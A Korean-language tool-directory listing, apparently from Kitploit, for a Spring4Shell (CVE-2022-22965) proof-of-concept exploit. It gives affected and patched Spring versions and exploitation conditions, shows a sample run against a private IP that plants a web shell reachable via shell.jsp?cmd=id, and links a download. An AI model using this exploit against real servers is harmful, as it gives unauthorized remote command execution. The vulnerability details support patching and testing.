Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22965 — Spring4Shell | Kitploit
도구/GitHubGitHub/nhattanhh/cve-2022-22965
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubnhattanhh/cve-2022-22965

CVE-2022-22965

Spring4Shell

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22965 Spring4Shell-PoC

버전

  • Spring Framework 5.2.20 미만 및 5.3.18 미만

패치 버전:

  • Spring Framework 5.3.18 및 5.2.20

  • Spring Boot 2.6.6 및 2.5.12

상세 정보

  • Spring Core는 Spring Framework의 핵심 구성 요소입니다. Spring MVC, Spring Boot, Spring WebFlux와 같은 Spring Framework 생태계의 다른 구성 요소를 구축하기 위한 기반입니다. 익스플로잇 코드는 다음 조건에서 실행될 수 있습니다:

    • JDK 9 이상

    • Apache Tomcat이 서블릿 컨테이너로 실행 중

    • WAR 패키징

    • 패키지 의존성: spring-webmvc 또는 spring-webflux

  • 애플리케이션이 기본 설정대로 Spring Boot 실행 가능한 jar 파일로 배포된 경우 이 보안 결함의 영향을 받지 않습니다.

익스플로잇:

root@kitploit:~
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting

결과:

root@kitploit:~
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id
도구 다운로드